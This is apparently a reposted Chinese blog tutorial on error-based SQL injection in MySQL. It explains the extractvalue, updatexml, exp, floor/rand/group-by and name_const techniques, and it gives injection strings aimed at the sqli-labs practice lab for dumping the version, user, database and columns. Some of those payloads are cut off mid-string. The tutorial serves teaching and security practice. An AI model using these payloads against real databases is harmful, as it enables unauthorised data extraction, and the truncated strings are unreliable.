【SQL注入-可回显】报错注入:简介、相关函数、利用方法

2023-11-02

目录

一、定义:

1.1、简介:

1.2、利用:

1.3、利用过程:

1.4示例:

注:

二、相关函数:

2.1、最常用的三种是:

2.2、Xpath语法错误

extractvalue()

updatexml()

2.3、数据溢出

exp()

2.4、主键重复

原理:

rand():

count(*):

group by x:

floor(x):

2.5、函数特性报错

列名重复

2.6、参数类型

几何函数(数字)



一、定义:

1.1、简介:

SQL报错注入:利用数据库的某些报错返回机制,刻意的制造错误条件传到数据库,使得查询结果能够出现在错误返回提示信息中

1.2、利用:

需要有SQL报错信息回 显

有显示位时,首先使用union联合查询语句

无显示位时,使用报错注入

1.3、利用过程:

第一步:注入点测试

第二步:查询字段数

第三步:判断回显位

第四步:查看数据库基本信息

第五步:爆数据库

第六步:爆数据库表

第七步:爆字段

第八步:爆数据


1.4示例:

(1)爆数据库版本信息:

?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.

2爆当前用户:

?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tab

(3)爆当前数据库:

?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema

(4)爆指定表的字段

?id=1'  and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM informati

注:

高版本的数据库,现在已经很多难以执行成功了



二、相关函数:

2.1、最常用的三种是:

floor()、updatexml()以及extractvalue()这三个函数

现在有很多高版本都已经用不了了

2.2、Xpath语法错误

extractvalue()是查询、updatexml()是改变

extractvalue()

作用:

对XML文档进行查询(类似在HTML文件中用标签查找元素)

------

语法:

extractvalue( XML_document, XPath_string )

参数1:XML_document(String格式),为XML文档对象的名称(输入错误的)

参数2:XPath_string(Xpath格式的字符串)(注入的地方)

------

利用:

extractvalue(1,(payload))

extractvalue(1,(concat(0x7e,(payload),0x7e)))

------

报错原理:

格式报错

xml文档中查找字符位置是用/xxx/xxx/xxx/...

写入其他格式就会报错,并返回注入请求的内容

报错最多32字符

------

利用语句:

http://localhost:8080/sqli-labs-master/Less-5/
?id=1' and extractvalue(1,concat('~',database())) --+

注:

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错


updatexml()

作用:

改变文档中符合条件节点的值

------

语法:

updatexml( XML_document, XPath_string, new_value )

参数1:XML_document(String格式),为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value(String格式),替换查找到的符合条件的数据

updatexml(1, payload,1)

------

报错原理:

也是格式错误

输出的字符长度有限制,其最长输出32位

2.3、数据溢出

类型 贮存 最小值 最大值
(Bytes) (Signed/Unsigned) (Signed/Unsigned)
TINYINT 1 -128 127
0 255
SMALLINT 2 -32768 32767
0 65535
MEDIUMINT 3 -8388608 8388607
0 16777215
INT 4 -2147483648 2147483647
0 4294967295
BIGINT 8 -9223372036854775808 9223372036854775807
0 18446744073709551615

在mysql5.5之前,整形溢出不会报错,只有版本号大于5.5.5时,才会报错

官方文档说明:out-of-range-and-overflow

在mysql中,并不是输入很长数字,考虑按位取反

报错信息是有长度限制的,在mysql/my_error.c中可以看到


exp()

(5.5.5<= MySQL数据库版本号<=5.5.49)

作用:

计算以e(自然常数)为底的幂值

------

语法:

exp(x)

------

报错原理:

当参数x超过710时,exp()函数会报错

(错误信息:DOUBLE value is of range)

------

注入语句:

id=1 and EXP(~(SELECT from (SELECT user())a))

2.4、主键重复

原理:

count()和group by

遇到rand()产生的重复值时报错


rand():

生成一个0~1之间的随机浮点数

生成[ 0 , 1 ) [0,1)[0,1)之间的随机数,可以指定参数作为种子

可以通过线性运算扩大值域,比如2 ∗ r a n d ( ) 2*rand()2∗rand()就生成了[ 0 , 2 ) [0,2)[0,2)上的随机数


count(*):

统计行数、某表下总共记录条数

count ( ∗ ) 搭配group by查询


group by x:

作用:

按x规则进行分组

------

报错原理:

利用rand()函数与group()函数的相互冲突

group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次
rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错


floor(x):

作用:

对参数x向下取整

------

语句:

and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

------

注入语句:

id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a)

需要注意的是该语句将 输出字符长度限制为64个字符

2.5、函数特性报错

列名重复

报错:

mysql列名重复会报错

------

利用:

name_const来制造一个列

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

2.6、参数类型

几何函数(数字)

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()等

不满足可能会报错。php版本不同,可能会会有不同的结果

报错,那不是轻轻松松报错,哈哈哈

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【SQL注入-可回显】报错注入:简介、相关函数、利用方法 的相关文章

随机推荐

  • 目标检测之数据预处理

    一 数据介绍 AI识虫数据集结构如下 提供了2183张图片 其中训练集1693张 验证集245 测试集245张 包含7种昆虫 分别是Boerner Leconte Linnaeus acuminatus armandi coleoptera
  • Apache下设置整站变灰方法

    本文转载自http www sapub net Apache 感谢作者分享 Web服务器下设置变灰的方法比较简单 总结如下 1 安装mod ext filter模块 此模块用来在所有的输出页面插入你想要的内容 比如css 广告头之类 这里假
  • centos7设置静态IP地址

    有时候我们电脑 老是换网线 这个时候虚拟机ip就会跟着变 所以这里我建议大家直接配置静态ip 这样可以避免ip变化 目录 1 查看IP配置信息 从中获取网卡名称 2 编辑网卡名称对应的配置文件 3 修改 etc sysconfig netw
  • QT父窗口和子窗口互相通信

    这个问题上网查了好多 大神们都说的很简单 对于我这样的小白来说 理解起来就有点吃力了 下面记录一下 给自己留给笔记 也是给正在摸索中的小白们一点参考 一 大家要明白如何建立子窗口 1 利用新建ui的方式来新建 我没有用这种方式 这里就先不说
  • php 命令执行中 PHPSESSID 妙用

    php 命令执行中 PHPSESSID 妙用 前言 题目地址 查看源码 使用PHPSESSID绕过限制 使用反引号绕过限制 前言 之前刷CTF的时候 遇到一个命令执行的题 看大佬的WP是通过PHPSESSID传值 绕过waf 最近有时间复现
  • Python时间格式转换

    一 标准库 1 import time time模块中时间表现的格式主要有三种 a timestamp时间戳 时间戳表示的是从1970年1月1日00 00 00开始按秒计算的偏移量 b struct time时间元组 共有九个元素组 c f
  • 【解答】CSDN的c认证有含金量么?

    我就从考试难度 报名费用 企业认可度这几个点介绍一下吧 一 考试难度 C认证分 c1 c4 c5 三个等级 c1认证 是最基础的入门考试 以前端知识居多 考试内容多以 块状元素有哪些 行级元素有哪些居多 考试最后大题是用 html css
  • property_exists 检查对象或类是否具有该属性

    bool property exists mixed class string property 1 class myClass public mine private xpto static protected test static f
  • 有一行字符,统计其中的单词个数(单词之间以空格分隔),并将每一个单词的第一个字母改为大写。

    每天自己做的作业 不喜勿喷 define CRT SECURE NO WARNINGS include stdio h include stdlib h include string h int myStr char p int n int
  • Android:Namespace not specified. Please specify a namespace in the module‘s build.gradle file like

    文章目录 问题描述 解决方法 参考链接 问题描述 问题 接上文 解决方案记录 Could not find com android tools build gradle 8 0 在修改完对应的文件之后 并将compileSdk 版本号改为3
  • ./configure: error: C compiler cc is not found

    1 报错信息 configure error C compiler cc is not found 2 原因 没有下载gcc编译器 3 解决办法 用以下命令下载gcc编译器 yum y install gcc gcc c autoconf
  • 建立 PyQt6 窗口

    建立 PyQt6 窗口 这篇教学会介绍如何开始使用 PyQt6 建立基本的应用程序窗口 以及通过常用的窗口参数 进行窗口的相关设定 快速导航 建立 PyQt6 窗口 调整窗口样式 在窗口中放入其他组件 建立 PyQt6 窗口 PyQt6 创
  • ASP.NETCore WebApp + EFCore +Docker +MSSQL(Docker for Window)

    文章目录 一 本机环境 二 创建ASP NET Core WebApp 创建项目 添加模型 搭建基架 使用CoreFirst方式初始数据库架构 三 MSSQL Docker 拉取MSSQL Docker镜像 启动容器 环境要求 参数解析 连
  • socket failed: EPERM (Operation not permitted) 解决方法

    1 网络权限没有开启 2 不支持http 在AndroidManifest xml 中添加网络权限
  • 安全HCIP之IPX

    IPX Internetwork Packet Exchange protocol 互联网分组交换协议 IPX 是指互联网分组交换协议 提供分组寻址和选择路由的功能 保证可靠到达 相当于数据报的功能 SPX 是顺序报文分组交换协议 它可保证
  • C/C++ 代码编译过程【复习】

    C C 代码编译过程 很久很久没用过 C C 突然碰到编译过程 竟有些想不起来 这里复习一下 C 语言的编译链接过程要把我们编写的一个 C 程序 源代码 转换成可以在硬件上运行的程序 可执行代码 如汇编语言 机器语言 分两个部分 编译和链接
  • LLM系列

    简介 小伙伴们好 我是 小窗幽记机器学习 的小编 卖热干面的小女孩 紧接前文 万字长文细说ChatGPT的前世今生 后续会尝试以理论 实践的方式逐步对主流的各大LLM进行实测和汉化 今天这篇关于Llama2的小作文其实比较长 所以分为上下两
  • Python爬虫实战(3)-爬取豆瓣音乐Top250数据(超详细)

    前言 首先我们先来回忆一下上两篇爬虫实战文章 第一篇 讲到了requests和bs4和一些网页基本操作 Python爬虫实战 1 爬取 房天下 租房信息 超详细 第二篇 用到了正则表达式 re模块 Python爬虫实战 2 爬取小说 斗罗大
  • linux磁盘虚拟化

    1 LVM Logical Volume Manager 逻辑滚动条管理员 LVM可以将几个实体的partions 或disk 透过软件组合成为一块看起来是独立的大磁盘 VG 然后将这块大磁盘再经过分割成为可使用分隔槽 LV 最终就能够挂载
  • 【SQL注入-可回显】报错注入:简介、相关函数、利用方法

    目录 一 定义 1 1 简介 1 2 利用 1 3 利用过程 1 4示例 注 二 相关函数 2 1 最常用的三种是 2 2 Xpath语法错误 extractvalue updatexml 2 3 数据溢出 exp 2 4 主键重复 原理